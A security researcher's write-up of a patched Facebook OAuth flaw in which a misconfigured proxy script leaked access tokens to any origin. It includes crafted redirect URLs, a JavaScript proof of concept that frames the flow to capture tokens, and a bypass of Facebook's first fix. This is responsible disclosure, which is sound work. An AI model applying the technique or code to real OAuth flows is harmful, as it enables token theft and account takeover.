Posted on March 1, 2020

Facebook OAuth Framework Vulnerability

I decided to analyze why I always feel insecure while using the “Login with Facebook” feature. Since they used multiple redirect URLs. But finding a vulnerability in Facebook and also having the most talented security researchers, Seem It wasn’t an easy task. That was a very tough and challenging to find a bug in Facebook OAuth.

However, The way I’ve found that was vulnerable for years and years, as per google search and StackOverflow hints almost 9 to 10 years.

Background

“Login with Facebook” feature follows the OAuth 2.0 Authorization Protocol to exchange the tokens between facebook.com and third-party website. The flaw could allow an attackers to hijack the OAuth flow and steal the access tokens which they could use to take over user accounts. Malicious websites can steal access_token for the most common apps at the same time and could gain access to multiple services, third-party websites. Such as Instagram, Oculus, Netflix, Tinder, Spotify, etc.

Proof of concept

The Facebook SDK for JavaScript uses "/connect/ping" endpoint to issue a user_access token and redirect URL set to “XD_Arbiter” which is whitelisted by default for all applications. In the background, on initialization SDK creates a proxy iframe for Cross-domain communication. Proxy frame sends back the token, code or not_authorized, unknown status via postMessage() API. Here is the normal login flow URL,
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com

The endpoint was well protected from previously known bugs, like parameter pollution, origin validation, redirection (#!), etc. I tried a lot of various bypass methods but nothing was allowed. Then what can we do here? Nothing!

I noticed that only one thing was possible to modify “xd_arbiter.php?v=42” to “xd_arbiter/?v=42” also possible to add more directory/parameters further except Path Traversal. Ah! In the first place stealing the token from a Hash fragment is very difficult. At this point, we need a proxy framework that can (highjack) do the job for us, something like “location.hash” and the postMessage() API to any origin “*”. (cross-origin message)

Luckily I found “page_proxy” quickly in my drafts.

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js

“page_proxy” contained the same code exactly what we want.

var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
That resource has an “EventListener” property, if condition check fails to fulfill its request then the code throws back postMessage() with “frameName” to the any origin “*” which was incorrect configuration or bad code practices.

Exploiting Proxy

Exploiting “page_proxy” was not hard for me. I just appended page_proxy resource to xd_arbiter.

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42

In this vulnerability flow, some points were important.

  1. Missing the “X-Frame-Options” header. (completely framable flow)
  2. Additionally “window.parent” which itself saves the user interaction to zero. Wasn’t needed to bother with window.open or any button onClick event.
Rewriting our Custom_SDK.js
var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);

Now the cross-domain communication has been exposed and access_token could leak to any origin without victim knowledge which leads to a potential compromises user account.

Facebook Account Takeover

Leakage of the 1st party graphql tokens, it is possible to query a mutation calls to add and confirm a new phone number for account recovery. Since they are whitelisted for GraphQL queries and they don’t need to bother with any permission checks. They have full read/write privileges such as messages, photos, videos even if privacy control is set to the “only me”.

Fix

Within a few hours of submission of the report, Facebook quickly acknowledged this issue and the fix was pushed. As you probably know how Facebook reacts to such critical issues.

  1. The "/connect/ping endpoint" is deprecated. It has been permanently revoked to generate access_token for all applications.
  2. __d(“JSSDKConfig”) line was added in XD_Arbiter to break the JS execution in page_proxy.
Validating Inadequate Mitigation & Bypass

While we both parties were aware of the OAuth’s core endpoint “/dialog/oauth/" still redirects with a token to the page_proxy. I informed them to patch those endpoints too but in response, Facebook said that xd_arbiter is whitelisted and the team believes that the code changes in page_proxy resource also mitigate this issue, so the token itself could not be leaked.

I revisited the page_proxy code 2-3 days later and found that the “__d(“JSSDKConfig”)” code line was shifted to the bottom and call to postMessage() was able to execute again. I didn’t fully analyze changes they made but I guess prepending mitigation code which could break other resources too even arbiter itself. That’s why the code line shifted to the bottom. Immediately I rebuilt the setup.

www.facebook.com doesn’t follow the redirect status to xd_arbiter rather it creates closed_window and postMessage() for client origin. (which fails the attack) This rule applies the same for “m”,”mobile”,”touch”, etc for chrome but not for firefox. You might know how Facebook plays a role between User-Agent and subdomains.

Entering “mbasic.facbook.com” domain responded HTTP 302 redirect header and worked for all browsers.

https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
Fix
  1. Any modification/tampering to xd_arbiter is not allowed anymore. (accept only absolute file path "xd_arbiter.php")
  2. All redirect HTTP status specifically for xd_arbiter is blocked. (mbasic.facebook.com)
  3. “7SWBAvHenEn.js” resource file removed from the server.
  4. Added regex validation filter in another JS resource.

I’m very glad that I’m part of this responsible disclosure to Facebook and joyous to achieve my goal successfully. 🙂

Impact

Due to an incorrect post message configuration, someone visiting an attacker-controlled website could have had their first party access tokens stolen for vulnerable apps using Facebook’s Oauth flow.

Timeline

  • 16 Dec, 2019 – Initial Report Sent.
  • 16 Dec, 2019 – Acknowledgment of Report.
  • 16 Dec, 2019 – Fix pushed by Facebook.
  • 23 Dec, 2019 – Confirmation of Fix by Facebook.
  • 03 Jan, 2020 – Bypass Sent. (Full Setup)
  • 10 Jan, 2020 – Bounty Awarded by Facebook.
  • 10 Jan, 2020 – Acknowledgment of Bypass.
  • 10 Jan, 2020 – Fix pushed for Bypass.
  • 17 Jan, 2020 – Confirmation of Fix by Facebook.
  • 21 Feb, 2020 – $55,000 Combined Bounty Awarded by Facebook. (highest bounty for a client-side account take over)

Categories: Security, Writeup

Tags: ,